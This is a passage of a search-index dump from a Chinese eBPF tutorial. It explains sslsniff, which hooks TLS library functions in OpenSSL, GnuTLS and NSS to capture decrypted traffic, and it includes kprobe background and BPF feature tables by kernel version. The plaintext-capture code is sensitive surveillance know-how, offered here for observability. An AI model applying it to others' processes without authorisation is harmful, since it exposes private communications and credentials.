uid; data->len = (u32)len; data->buf_filled = 0; data->rw = rw; data->is_handshake = false; u32 buf_copy_size = min((size_t)MAX_BUF_SIZE, (size_t)len); bpf_get_current_comm(&data->comm, sizeof(data->comm)); if (bufp != 0) ret = bpf_probe_read_user(&data->buf, buf_copy_size, (char *)*bufp); bpf_map_delete_elem(&bufs, &tid); bpf_map_delete_elem(&start_ns, &tid); if (!ret) data->buf_filled = 1; else buf_copy_size = 0; bpf_perf_event_output(ctx, &perf_SSL_events, BPF_F_CURRENT_CPU, data, EVENT_SIZE(buf_copy_size)); return 0;\n} 这里的 rw 参数标识是读还是写。0 代表读，1 代表写。 数据收集流程 获取当前进程和线程的 ID，以及当前用户的 ID。 通过 trace_allowed 判断是否允许追踪该进程。 获取起始时间，以计算函数的执行时间。 尝试从 bufs 和 start_ns maps 中查找相关的数据。 如果成功读取了数据，则创建或查找 probe_SSL_data_t 结构来填充数据。 将数据从用户空间复制到缓冲区，并确保不超过预定的大小。 最后，将数据发送到用户空间。 注意：我们使用了两个用户返回探针 uretprobe 来分别 hook SSL_read 和 SSL_write 的返回： SEC(\"uretprobe/SSL_read\")\nint BPF_URETPROBE(probe_SSL_read_exit) { return (SSL_exit(ctx, 0)); // 0 表示读操作\n} SEC(\"uretprobe/SSL_write\")\nint BPF_URETPROBE(probe_SSL_write_exit) { return (SSL_exit(ctx, 1)); // 1 表示写操作\n}","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » Hook 函数","id":"213","title":"Hook 函数"},"214":{"body":"在 SSL/TLS 中，握手（handshake）是一个特殊的过程，用于在客户端和服务器之间建立安全的连接。为了分析此过程，我们 hook 到了 do_handshake 函数，以跟踪握手的开始和结束。 进入握手 我们使用 uprobe 为 do_handshake 设置一个 probe： SEC(\"uprobe/do_handshake\")\nint BPF_UPROBE(probe_SSL_do_handshake_enter, void *ssl) { u64 pid_tgid = bpf_get_current_pid_tgid(); u32 pid = pid_tgid >> 32; u32 tid = (u32)pid_tgid; u64 ts = bpf_ktime_get_ns(); u32 uid = bpf_get_current_uid_gid(); if (!trace_allowed(uid, pid)) { return 0; } /* store arg info for later lookup */ bpf_map_update_elem(&start_ns, &tid, &ts, BPF_ANY); return 0;\n} 这段代码的主要功能如下： 获取当前的 pid, tid, ts 和 uid。 使用 trace_allowed 检查进程是否被允许追踪。 将当前时间戳存储在 start_ns 映射中，用于稍后计算握手过程的持续时间。 退出握手 同样，我们为 do_handshake 的返回设置了一个 uretprobe： SEC(\"uretprobe/do_handshake\")\nint BPF_URETPROBE(probe_SSL_do_handshake_exit) { u32 zero = 0; u64 pid_tgid = bpf_get_current_pid_tgid(); u32 pid = pid_tgid >> 32; u32 tid = (u32)pid_tgid; u32 uid = bpf_get_current_uid_gid(); u64 ts = bpf_ktime_get_ns(); int ret = 0; /* use kernel terminology here for tgid/pid: */ u32 tgid = pid_tgid >> 32; /* store arg info for later lookup */ if (!trace_allowed(tgid, pid)) { return 0; } u64 *tsp = bpf_map_lookup_elem(&start_ns, &tid); if (tsp == 0) return 0; ret = PT_REGS_RC(ctx); if (ret <= 0) // handshake failed return 0; struct probe_SSL_data_t *data = bpf_map_lookup_elem(&ssl_data, &zero); if (!data) return 0; data->timestamp_ns = ts; data->delta_ns = ts - *tsp; data->pid = pid; data->tid = tid; data->uid = uid; data->len = ret; data->buf_filled = 0; data->rw = 2; data->is_handshake = true; bpf_get_current_comm(&data->comm, sizeof(data->comm)); bpf_map_delete_elem(&start_ns, &tid); bpf_perf_event_output(ctx, &perf_SSL_events, BPF_F_CURRENT_CPU, data, EVENT_SIZE(0)); return 0;\n} 此函数的逻辑如下： 获取当前的 pid, tid, ts 和 uid。 使用 trace_allowed 再次检查是否允许追踪。 查找 start_ns 映射中的时间戳，用于计算握手的持续时间。 使用 PT_REGS_RC(ctx) 获取 do_handshake 的返回值，判断握手是否成功。 查找或初始化与当前线程关联的 probe_SSL_data_t 数据结构。 更新数据结构的字段，包括时间戳、持续时间、进程信息等。 通过 bpf_perf_event_output 将数据发送到用户态。 我们的 eBPF 代码不仅跟踪了 ssl_read 和 ssl_write 的数据传输，还特别关注了 SSL/TLS 的握手过程。这些信息对于深入了解和优化安全连接的性能至关重要。 通过这些 hook 函数，我们可以获得关于握手成功与否、握手所需的时间以及相关的进程信息的数据。这为我们提供了关于系统 SSL/TLS 行为的深入见解，可以帮助我们在需要时进行更深入的分析和优化。","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » Hook到握手过程","id":"214","title":"Hook到握手过程"},"215":{"body":"在 eBPF 的生态系统中，用户态和内核态代码经常协同工作。内核态代码负责数据的采集，而用户态代码则负责设置、管理和处理这些数据。在本节中，我们将解读上述用户态代码如何配合 eBPF 追踪 SSL/TLS 交互。","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » 用户态辅助代码分析与解读","id":"215","title":"用户态辅助代码分析与解读"},"216":{"body":"上述代码片段中，根据环境变量 env 的设定，程序可以选择针对三种常见的加密库（OpenSSL、GnuTLS 和 NSS）进行挂载。这意味着我们可以在同一个工具中对多种库的调用进行追踪。 为了实现这一功能，首先利用 find_library_path 函数确定库的路径。然后，根据库的类型，调用对应的 attach_ 函数来将 eBPF 程序挂载到库函数上。 if (env.openssl) { char *openssl_path = find_library_path(\"libssl.so\"); printf(\"OpenSSL path: %s\\n\", openssl_path); attach_openssl(obj, \"/lib/x86_64-linux-gnu/libssl.so.3\"); } if (env.gnutls) { char *gnutls_path = find_library_path(\"libgnutls.so\"); printf(\"GnuTLS path: %s\\n\", gnutls_path); attach_gnutls(obj, gnutls_path); } if (env.nss) { char *nss_path = find_library_path(\"libnspr4.so\"); printf(\"NSS path: %s\\n\", nss_path); attach_nss(obj, nss_path); } 这里主要包含 OpenSSL、GnuTLS 和 NSS 三个库的挂载逻辑。NSS 是为组织设计的一套安全库，支持创建安全的客户端和服务器应用程序。它们最初是由 Netscape 开发的，现在由 Mozilla 维护。其他两个库前面已经介绍过了，这里不再赘述。","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » 1. 支持的库挂载","id":"216","title":"1. 支持的库挂载"},"217":{"body":"具体的 attach 函数如下： #define __ATTACH_UPROBE(skel, binary_path, sym_name, prog_name, is_retprobe) \\ do { \\ LIBBPF_OPTS(bpf_uprobe_opts, uprobe_opts, .func_name = #sym_name, \\ .retprobe = is_retprobe); \\ skel->links.prog_name = bpf_program__attach_uprobe_opts( \\ skel->progs.prog_name, env.pid, binary_path, 0, &uprobe_opts); \\ } while (false) int attach_openssl(struct sslsniff_bpf *skel, const char *lib) { ATTACH_UPROBE_CHECKED(skel, lib, SSL_write, probe_SSL_rw_enter); ATTACH_URETPROBE_CHECKED(skel, lib, SSL_write, probe_SSL_write_exit); ATTACH_UPROBE_CHECKED(skel, lib, SSL_read, probe_SSL_rw_enter); ATTACH_URETPROBE_CHECKED(skel, lib, SSL_read, probe_SSL_read_exit); if (env.latency && env.handshake) { ATTACH_UPROBE_CHECKED(skel, lib, SSL_do_handshake, probe_SSL_do_handshake_enter); ATTACH_URETPROBE_CHECKED(skel, lib, SSL_do_handshake, probe_SSL_do_handshake_exit); } return 0;\n} int attach_gnutls(struct sslsniff_bpf *skel, const char *lib) { ATTACH_UPROBE_CHECKED(skel, lib, gnutls_record_send, probe_SSL_rw_enter); ATTACH_URETPROBE_CHECKED(skel, lib, gnutls_record_send, probe_SSL_write_exit); ATTACH_UPROBE_CHECKED(skel, lib, gnutls_record_recv, probe_SSL_rw_enter); ATTACH_URETPROBE_CHECKED(skel, lib, gnutls_record_recv, probe_SSL_read_exit); return 0;\n} int attach_nss(struct sslsniff_bpf *skel, const char *lib) { ATTACH_UPROBE_CHECKED(skel, lib, PR_Write, probe_SSL_rw_enter); ATTACH_URETPROBE_CHECKED(skel, lib, PR_Write, probe_SSL_write_exit); ATTACH_UPROBE_CHECKED(skel, lib, PR_Send, probe_SSL_rw_enter); ATTACH_URETPROBE_CHECKED(skel, lib, PR_Send, probe_SSL_write_exit); ATTACH_UPROBE_CHECKED(skel, lib, PR_Read, probe_SSL_rw_enter); ATTACH_URETPROBE_CHECKED(skel, lib, PR_Read, probe_SSL_read_exit); ATTACH_UPROBE_CHECKED(skel, lib, PR_Recv, probe_SSL_rw_enter); ATTACH_URETPROBE_CHECKED(skel, lib, PR_Recv, probe_SSL_read_exit); return 0;\n} 我们进一步观察 attach_ 函数，可以看到它们都使用了 ATTACH_UPROBE_CHECKED 和 ATTACH_URETPROBE_CHECKED 宏来实现具体的挂载逻辑。这两个宏分别用于设置 uprobe（函数入口）和 uretprobe（函数返回）。 考虑到不同的库有不同的 API 函数名称（例如，OpenSSL 使用 SSL_write，而 GnuTLS 使用 gnutls_record_send），所以我们需要为每个库写一个独立的 attach_ 函数。 例如，在 attach_openssl 函数中，我们为 SSL_write 和 SSL_read 设置了 probe。如果用户还希望追踪握手的延迟 (env.latency) 和握手过程 (env.handshake)，那么我们还会为 SSL_do_handshake 设置 probe。 在eBPF生态系统中，perf_buffer是一个用于从内核态传输数据到用户态的高效机制。这对于内核态eBPF程序来说是十分有用的，因为它们不能直接与用户态进行交互。使用perf_buffer，我们可以在内核态eBPF程序中收集数据，然后在用户态异步地读取这些数据。我们使用 perf_buffer__poll 函数来读取内核态上报的数据，如下所示： while (!exiting) { err = perf_buffer__poll(pb, PERF_POLL_TIMEOUT_MS); if (err < 0 && err != -EINTR) { warn(\"error polling perf buffer: %s\\n\", strerror(-err)); goto cleanup; } err = 0; } 最后，在 print_event 函数中，我们将数据打印到标准输出： // Function to print the event from the perf buffer\nvoid print_event(struct probe_SSL_data_t *event, const char *evt) { ... if (buf_size != 0) { if (env.hexdump) { // 2 characters for each byte + null terminator char hex_data[MAX_BUF_SIZE * 2 + 1] = {0}; buf_to_hex((uint8_t *)buf, buf_size, hex_data); printf(\"\\n%s\\n\", s_mark); for (size_t i = 0; i < strlen(hex_data); i += 32) { printf(\"%.32s\\n\", hex_data + i); } printf(\"%s\\n\\n\", e_mark); } else { printf(\"\\n%s\\n%s\\n%s\\n\\n\", s_mark, buf, e_mark); } }\n} 完整的源代码可以在这里查看： https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/30-sslsniff","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » 2. 详细挂载逻辑","id":"217","title":"2. 详细挂载逻辑"},"218":{"body":"要开始使用 sslsniff，首先要进行编译： make 完成后，请按照以下步骤操作：","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » 编译与运行","id":"218","title":"编译与运行"},"219":{"body":"在一个终端中，执行以下命令来启动 sslsniff： sudo ./sslsniff","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » 启动 sslsniff","id":"219","title":"启动 sslsniff"},"22":{"body":"eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具。它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 本文是 eBPF 入门开发实践教程的第二篇，在 eBPF 中使用 kprobe 捕获 unlink 系统调用。本文会先讲解关于 kprobes 的基本概念和技术背景，然后介绍如何在 eBPF 中使用 kprobe 捕获 unlink 系统调用。","breadcrumbs":"使用 kprobe 监测捕获 unlink 系统调用 » eBPF 入门开发实践教程二：在 eBPF 中使用 kprobe 监测捕获 unlink 系统调用","id":"22","title":"eBPF 入门开发实践教程二：在 eBPF 中使用 kprobe 监测捕获 unlink 系统调用"},"220":{"body":"在另一个终端中，执行： curl https://example.com 正常情况下，你会看到类似以下的输出：    Example Domain ...  
 ... 
  ","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » 执行 CURL 命令","id":"220","title":"执行 CURL 命令"},"221":{"body":"当执行 curl 命令后，sslsniff 会显示以下内容： READ/RECV 0.132786160 curl 47458 1256 ----- DATA -----  ... 
 
Example Domain
 ... 
   ----- END DATA ----- 注意 ：显示的 HTML 内容可能会因 example.com 页面的不同而有所不同。","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » sslsniff 输出","id":"221","title":"sslsniff 输出"},"222":{"body":"要查看延迟和握手过程，请执行以下命令： $ sudo ./sslsniff -l --handshake\nOpenSSL path: /lib/x86_64-linux-gnu/libssl.so.3\nGnuTLS path: /lib/x86_64-linux-gnu/libgnutls.so.30\nNSS path: /lib/x86_64-linux-gnu/libnspr4.so\nFUNC TIME(s) COMM PID LEN LAT(ms)\nHANDSHAKE 0.000000000 curl 6460 1 1.384 WRITE/SEND 0.000115400 curl 6460 24 0.014","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » 显示延迟和握手过程","id":"222","title":"显示延迟和握手过程"},"223":{"body":"要以16进制格式显示数据，请执行以下命令： $ sudo ./sslsniff --hexdump\nWRITE/SEND 0.000000000 curl 16104 24 ----- DATA -----\n505249202a20485454502f322e300d0a\n0d0a534d0d0a0d0a\n----- END DATA ----- ...","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » 16进制输出","id":"223","title":"16进制输出"},"224":{"body":"eBPF 是一个非常强大的技术，它可以帮助我们深入了解系统的工作原理。本教程是一个简单的示例，展示了如何使用 eBPF 来监控 SSL/TLS 通信。如果您对 eBPF 技术感兴趣，并希望进一步了解和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 和教程网站 https://eunomia.dev/zh/tutorials/。 参考资料： https://github.com/iovisor/bcc/pull/4706 https://github.com/openssl/openssl https://www.openssl.org/docs/man1.1.1/man3/SSL_read.html https://github.com/iovisor/bcc/blob/master/tools/sslsniff_example.txt https://en.wikipedia.org/wiki/Transport_Layer_Security","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » 总结","id":"224","title":"总结"},"225":{"body":"","breadcrumbs":"BPF Features by Linux Kernel Version » Linux 内核版本的 BPF 功能","id":"225","title":"Linux 内核版本的 BPF 功能"},"226":{"body":"内核版本 提交 3.15 bd4cf0ed331a","breadcrumbs":"BPF Features by Linux Kernel Version » eBPF支持","id":"226","title":"eBPF支持"},"227":{"body":"可以使用以下命令获取内核支持的体系结构列表： git grep HAVE_EBPF_JIT arch/ 功能 / 体系结构 内核版本 提交 x86_64 3.16 622582786c9e ARM64 3.18 e54bcde3d69d s390 4.1 054623105728 JIT机器的常量混淆 4.7 4f3446bb809f PowerPC64 4.8 156d0e290e96 常量混淆 - PowerPC64 4.9 b7b7013cac55 Sparc64 4.12 7a12b5031c6b MIPS 4.13 f381bf6d82f0 ARM32 4.14 39c13c204bb1 x86_32 4.18 03f5781be2c7 RISC-V RV64G 5.1 2353ecc6f91f RISC-V RV32G PowerPC32 5.13 51c66ad849a7 LoongArch 6.1 5dc615520c4d","breadcrumbs":"BPF Features by Linux Kernel Version » JIT编译","id":"227","title":"JIT编译"},"228":{"body":"其中几个（但不是全部） 主要特性 可以转换为 eBPF 程序类型。 您的内核支持的此类程序类型的列表可以在文件 include/uapi/linux/bpf.h 中找到： git grep -W 'bpf_prog_type {' include/uapi/linux/bpf.h 特性 内核版本 提交 AF_PACKET (libpcap/tcpdump, cls_bpf 分类器, netfilter 的 xt_bpf, team 驱动程序的负载均衡模式…) 3.15 bd4cf0ed331a 内核助手 3.15 bd4cf0ed331a bpf() 系统调用 3.18 99c55f7d47c0 Maps ( 又名 表; 详见下文) 3.18 99c55f7d47c0 BPF 附加到套接字 3.19 89aa075832b0 BPF 附加到 kprobes 4.1 2541517c32be cls_bpf / act_bpf 用于 tc 4.1 e2e9b6541dd4 尾调用 4.2 04fd61ab36ec 非根程序上的套接字 持久映射和程序（虚拟文件系统） 4.4 b2197755b263 tc的direct-action(da)模式 4.4 045efa82ff56 tc的clsactqdisc 4.5 1f211a1b929c BPF连接到跟踪点 4.7 98b5c2c65c29 直接数据包访问 4.7 969bf05eb3ce XDP（参见下文） 4.8 6a773a15a1e8 BPF连接到性能事件 4.9 0515e5999a46 tc的cls_bpf的硬件卸载 4.9 332ae8e2f6ec 验证器暴露和内部钩子 4.9 13a27dfc6697 BPF连接到 cgroups 用于套接字过滤 4.10 0e33661de493 轻量级隧道封装 4.10 3a0af8fd61f9 e BPF对xt_bpf模块（iptables）的支持 4.10 2c16d6033264 BPF程序标签 4.10 7bd509e311f4 跟踪点以调试BPF 测试/基准测试BPF程序 4.12 1cf1cae963c2 BPF程序和映射ID 4.13 dc4bb0e23561 BPF对sock_ops的支持 4.13 40304b2a1567 BPF对套接字上的skb的支持 4.14 b005fd189cec 内核源码中的bpftool实用程序 4.15 71bb428fe2c1 BPF附加到cgroups作为设备控制器 4.15 ebc614f68736 bpf2bpf函数调用 4.16 cc8b0b92a169 BPF用于监视套接字RX/TX数据 4.17 4f738adba30a BPF附加到原始跟踪点 4.17 c4f6699dfcb8 BPF附加到bind()系统调用 4.17 4fbac77d2d09 aac3fc320d94 BPF附加到connect()系统调用 4.17 d74bad4e74ee BPF 类型格式（BTF） AF_XDP 4.18 fbfc504a24f5 bpfilter 4.18 d2ba09c17a06 seg6local LWT 的 End.BPF 操作 4.18 004d4b274e2a BPF 附加到 LIRC 设备 4.18 f4364dcfc86d 将映射值传递给映射助手 4.18 d71962f3e627 BPF 套接字复用端口 4.19 2dbb9b9e6df6 BPF 流解剖器 4.20 d58e468b1112 BPF 1M 指令限制 5.2 c04c0d2b968a BPF 控制组 sysctl 5.2 7b146cebe30c BPF 原始跟踪点可写 5.2 9df1c28bb752 BPF 有界循环 5.3 2589726d12a1 BPF 跳板 5.5 fec56f5890d9 BPF LSM 钩子 5.7 fc611f47f218 641cd7b06c91 BPF 迭代器 5.8 180139dca8b3 BPF套接字查找挂钩 可睡眠的BPF程序 5.10 1e6c62a88215","breadcrumbs":"BPF Features by Linux Kernel Version » 主要特性","id":"228","title":"主要特性"},"229":{"body":"程序类型 内核版本 提交 枚举 套接字过滤器 3.19 ddd872bc3098 BPF_PROG_TYPE_SOCKET_FILTER Kprobe 4.1 2541517c32be BPF_PROG_TYPE_KPROBE 流量控制(TC) 4.1 96be4325f443 BPF_PROG_TYPE_SCHED_CLS 流量控制(TC) 4.1 94caee8c312d BPF_PROG_TYPE_SCHED_ACT 跟踪点 4.7 98b5c2c65c29 BPF_PROG_TYPE_TRACEPOINT XDP 4.8 6a773a15a1e8 BPF_PROG_TYPE_XDP 性能事件 4.9 0515e5999a46 BPF_PROG_TYPE_PERF_EVENT cgroup套接字过滤 4.10 0e33661de493 BPF_PROG_TYPE_CGROUP_SKB cgroup套接字修改 4.10 610236587600 BPF_PROG_TYPE_CGROUP_SOCK 轻量级隧道(IN) 4.10 3a0af8fd61f9 BPF_PROG_TYPE_LWT_IN\".lightweight tunnel (OUT) 轻量级隧道 (OUT) 4.10 3a0af8fd61f9 BPF_PROG_TYPE_LWT_OUT lightweight tunnel (XMIT) | 4.10 | 3a0af8fd61f9 | BPF_PROG_TYPE_LWT_XMIT 轻量级隧道 (XMIT) | 4.10 | 3a0af8fd61f9 | BPF_PROG_TYPE_LWT_XMIT cgroup sock ops (per conn) | 4.13 | 40304b2a1567 | BPF_PROG_TYPE_SOCK_OPS cgroup sock操作 (每个连接) | 4.13 | 40304b2a1567 | BPF_PROG_TYPE_SOCK_OPS stream parser / stream verdict | 4.14 | b005fd189cec | BPF_PROG_TYPE_SK_SKB 流分析器 / 流判定 | 4.14 | b005fd189cec | BPF_PROG_TYPE_SK_SKB cgroup device manager | 4.15 | ebc614f68736 | BPF_PROG_TYPE_CGROUP_DEVICE cgroup设备管理器 | 4.15 | ebc614f68736 | BPF_PROG_TYPE_CGROUP_DEVICE socket msg verdict | 4.17 | 4f738adba30a | BPF_PROG_TYPE_SK_MSG 套接字消息判定 | 4.17 | 4f738adba30a | BPF_PROG_TYPE_SK_MSG Raw tracepoint | 4.17 | c4f6699dfcb8 | BPF_PROG_TYPE_RAW_TRACEPOINT 裸跟踪点 | 4.17 | c4f6699dfcb8 | BPF_PROG_TYPE_RAW_TRACEPOINT socket binding | 4.17 | 4fbac77d2d09 | BPF_PROG_TYPE_CGROUP_SOCK_ADDR 套接字绑定 | 4.17 | 4fbac77d2d09 | BPF_PROG_TYPE_CGROUP_SOCK_ADDR LWT seg6local | 4.18 | 004d4b274e2a | BPF_PROG_TYPE_LWT_SEG6LOCAL 轻量级隧道seg6local | 4.18 | 004d4b274e2a | BPF_PROG_TYPE_LWT_SEG6LOCAL lirc devices | 4.18 | f4364dcfc86d | BPF_PROG_TYPE_LIRC_MODE2 lirc设备 | 4.18 | f4364dcfc86d | BPF_PROG_TYPE_LIRC_MODE2 lookup SO_REUSEPORT socket | 4.19 | 2dbb9b9e6df6 | BPF_PROG_TYPE_SK_REUSEPORT 查找SO_REUSEPORT套接字 | 4.19 | 2dbb9b9e6df6 | BPF_PROG_TYPE_SK_REUSEPORT flow dissector | 4.20 | d58e468b1112 | BPF_PROG_TYPE_FLOW_DISSECTOR 流解析器 | 4.20 | d58e468b1112 | BPF_PROG_TYPE_FLOW_DISSECTORcgroup sysctl | 5.2 | 7b146cebe30c | BPF_PROG_TYPE_CGROUP_SYSCTL 可控 cgroup | 5.2 | 7b146cebe30c | BPF_PROG_TYPE_CGROUP_SYSCTL writable raw tracepoints | 5.2 | 9df1c28bb752 | BPF_PROG_TYPE_RAW_TRACEPOINT_WRITABLE 可写原始跟踪点 | 5.2 | 9df1c28bb752 | BPF_PROG_TYPE_RAW_TRACEPOINT_WRITABLE cgroup getsockopt/setsockopt | 5.3 | 0d01da6afc54 | BPF_PROG_TYPE_CGROUP_SOCKOPT cgroup getsockopt/setsockopt | 5.3 | 0d01da6afc54 | BPF_PROG_TYPE_CGROUP_SOCKOPT Tracing (BTF/BPF trampoline) | 5.5 | f1b9509c2fb0 | BPF_PROG_TYPE_TRACING 追踪 (BTF/BPF 弹跳) | 5.5 | f1b9509c2fb0 | BPF_PROG_TYPE_TRACING struct ops | 5.6 | 27ae7997a661 | BPF_PROG_TYPE_STRUCT_OPS 结构操作 | 5.6 | 27ae7997a661 | BPF_PROG_TYPE_STRUCT_OPS extensions | 5.6 | be8704ff07d2 | BPF_PROG_TYPE_EXT 扩展 | 5.6 | be8704ff07d2 | BPF_PROG_TYPE_EXT LSM | 5.7 | fc611f47f218 | BPF_PROG_TYPE_LSM LSM (Linux安全模块) | 5.7 | fc611f47f218 | BPF_PROG_TYPE_LSM lookup listening socket | 5.9 | e9ddbb7707ff | BPF_PROG_TYPE_SK_LOOKUP 查询监听套接字 | 5.9 | e9ddbb7707ff | BPF_PROG_TYPE_SK_LOOKUP Allow executing syscalls | 5.15 | 79a7f8bdb159 | BPF_PROG_TYPE_SYSCALL 允许执行系统调用 | 5.15 | 79a7f8bdb159 | BPF_PROG_TYPE_SYSCALL","breadcrumbs":"BPF Features by Linux Kernel Version » 程序类型","id":"229","title":"程序类型"},"23":{"body":"开发人员在内核或者模块的调试过程中，往往会需要要知道其中的一些函数有无被调用、何时被调用、执行是否正确以及函数的入参和返回值是什么等等。比较简单的做法是在内核代码对应的函数中添加日志打印信息，但这种方式往往需要重新编译内核或模块，重新启动设备之类的，操作较为复杂甚至可能会破坏原有的代码执行过程。 而利用 kprobes 技术，用户可以定义自己的回调函数，然后在内核或者模块中几乎所有的函数中（有些函数是不可探测的，例如kprobes自身的相关实现函数，后文会有详细说明）动态地插入探测点，当内核执行流程执行到指定的探测函数时，会调用该回调函数，用户即可收集所需的信息了，同时内核最后还会回到原本的正常执行流程。如果用户已经收集足够的信息，不再需要继续探测，则同样可以动态地移除探测点。因此 kprobes 技术具有对内核执行流程影响小和操作方便的优点。 kprobes 技术包括的3种探测手段分别时 kprobe、jprobe 和 kretprobe。首先 kprobe 是最基本的探测方式，是实现后两种的基础，它可以在任意的位置放置探测点（就连函数内部的某条指令处也可以），它提供了探测点的调用前、调用后和内存访问出错3种回调方式，分别是 pre_handler、post_handler 和 fault_handler，其中 pre_handler 函数将在被探测指令被执行前回调，post_handler 会在被探测指令执行完毕后回调（注意不是被探测函数），fault_handler 会在内存访问出错时被调用；jprobe 基于 kprobe 实现，它用于获取被探测函数的入参值；最后 kretprobe 从名字中就可以看出其用途了，它同样基于 kprobe 实现，用于获取被探测函数的返回值。 kprobes 的技术原理并不仅仅包含纯软件的实现方案，它也需要硬件架构提供支持。其中涉及硬件架构相关的是 CPU 的异常处理和单步调试技术，前者用于让程序的执行流程陷入到用户注册的回调函数中去，而后者则用于单步执行被探测点指令，因此并不是所有的架构均支持 kprobes。目前 kprobes 技术已经支持多种架构，包括 i386、x86_64、ppc64、ia64、sparc64、arm、ppc 和 mips（有些架构实现可能并不完全，具体可参考内核的 Documentation/kprobes.txt）。 kprobes 的特点与使用限制： kprobes 允许在同一个被探测位置注册多个 kprobe，但是目前 jprobe 却不可以；同时也不允许以其他的 jprobe 回调函数和 kprobe 的 post_handler 回调函数作为被探测点。 一般情况下，可以探测内核中的任何函数，包括中断处理函数。不过在 kernel/kprobes.c 和 arch/*/kernel/kprobes.c 程序中用于实现 kprobes 自身的函数是不允许被探测的，另外还有do_page_fault 和 notifier_call_chain； 如果以一个内联函数为探测点，则 kprobes 可能无法保证对该函数的所有实例都注册探测点。由于 gcc 可能会自动将某些函数优化为内联函数，因此可能无法达到用户预期的探测效果； 一个探测点的回调函数可能会修改被探测函数的运行上下文，例如通过修改内核的数据结构或者保存与struct pt_regs结构体中的触发探测器之前寄存器信息。因此 kprobes 可以被用来安装 bug 修复代码或者注入故障测试代码； kprobes 会避免在处理探测点函数时再次调用另一个探测点的回调函数，例如在printk()函数上注册了探测点，而在它的回调函数中可能会再次调用printk函数，此时将不再触发printk探测点的回调，仅仅是增加了kprobe结构体中nmissed字段的数值； 在 kprobes 的注册和注销过程中不会使用 mutex 锁和动态的申请内存； kprobes 回调函数的运行期间是关闭内核抢占的，同时也可能在关闭中断的情况下执行，具体要视CPU架构而定。因此不论在何种情况下，在回调函数中不要调用会放弃 CPU 的函数（如信号量、mutex 锁等）； kretprobe 通过替换返回地址为预定义的 trampoline 的地址来实现，因此栈回溯和 gcc 内嵌函数__builtin_return_address()调用将返回 trampoline 的地址而不是真正的被探测函数的返回地址； 如果一个函数的调用次数和返回次数不相等，则在类似这样的函数上注册 kretprobe 将可能不会达到预期的效果，例如do_exit()函数会存在问题，而do_execve()函数和do_fork()函数不会； 当在进入和退出一个函数时，如果 CPU 运行在非当前任务所有的栈上，那么往该函数上注册 kretprobe 可能会导致不可预料的后果，因此，kprobes 不支持在 X86_64 的结构下为__switch_to()函数注册 kretprobe，将直接返回-EINVAL。","breadcrumbs":"使用 kprobe 监测捕获 unlink 系统调用 » kprobes 技术背景","id":"23","title":"kprobes 技术背景"},"230":{"body":"","breadcrumbs":"BPF Features by Linux Kernel Version » Map types ( a.k.a. 表格, 在 BCC 术语中)","id":"230","title":"Map types ( a.k.a. 表格, 在 BCC 术语中)"},"231":{"body":"您内核支持的 Map 类型列表可以在文件 include/uapi/linux/bpf.h 中找到: git grep -W 'bpf_map_type {' include/uapi/linux/bpf.h Map 类型 内核版本 提交 枚举 哈希 3.19 0f8e4bd8a1fc BPF_MAP_TYPE_HASH\".Array Prog array 4.2 04fd61ab36ec BPF_MAP_TYPE_PROG_ARRAY Perf events 4.3 ea317b267e9d BPF_MAP_TYPE_PERF_EVENT_ARRAY Per-CPU hash 4.6 824bd0ce6c7c BPF_MAP_TYPE_PERCPU_HASH Per-CPU array 4.6 a10423b87a7e BPF_MAP_TYPE_PERCPU_ARRAY Stack trace 4.6 d5a3b1f69186 BPF_MAP_TYPE_STACK_TRACE cgroup array 4.8 4ed8ec521ed5 BPF_MAP_TYPE_CGROUP_ARRAY LRU hash 4.10 29ba732acbee 3a08c2fd7634 BPF_MAP_TYPE_LRU_HASH LRU per-CPU hash 4.10 8f8449384ec3 961578b63474 BPF_MAP_TYPE_LRU_PERCPU_HASH LPM trie (longest-prefix match) 4.11 b95a5c4db09b BPF_MAP_TYPE_LPM_TRIE Array of maps 4.12 56f668dfe00d BPF_MAP_TYPE_ARRAY_OF_MAPSHash of maps Netdevice references (array) 4.14 546ac1ffb70d BPF_MAP_TYPE_DEVMAP Socket references (array) 4.14 174a79ff9515 BPF_MAP_TYPE_SOCKMAP CPU references 4.15 6710e1126934 BPF_MAP_TYPE_CPUMAP AF_XDP socket (XSK) references 4.18 fbfc504a24f5 BPF_MAP_TYPE_XSKMAP Socket references (hashmap) 4.18 81110384441a BPF_MAP_TYPE_SOCKHASH cgroup storage 4.19 de9cbbaadba5 BPF_MAP_TYPE_CGROUP_STORAGE reuseport sockarray 4.19 5dc4c4b7d4e8 BPF_MAP_TYPE_REUSEPORT_SOCKARRAY precpu cgroup storage 4.20 b741f1630346 BPF_MAP_TYPE_PERCPU_CGROUP_STORAGE queue 4.20 f1a2e44a3aec BPF_MAP_TYPE_QUEUE stack 4.20 f1a2e44a3aec BPF_MAP_TYPE_STACK socket local storage 5.2 6ac99e8f23d4 BPF_MAP_TYPE_SK_STORAGENetdevice references (hashmap) struct ops 5.6 85d33df357b6 BPF_MAP_TYPE_STRUCT_OPS ring buffer 5.8 457f44363a88 BPF_MAP_TYPE_RINGBUF inode storage 5.10 8ea636848aca BPF_MAP_TYPE_INODE_STORAGE task storage 5.11 4cf1bc1f1045 BPF_MAP_TYPE_TASK_STORAGE Bloom filter 5.16 9330986c0300 BPF_MAP_TYPE_BLOOM_FILTER user ringbuf 6.1 583c1f420173 BPF_MAP_TYPE_USER_RINGBUF","breadcrumbs":"BPF Features by Linux Kernel Version » Map 类型","id":"231","title":"Map 类型"},"232":{"body":"Some (but not all) of these API features translate to a subcommand beginning with 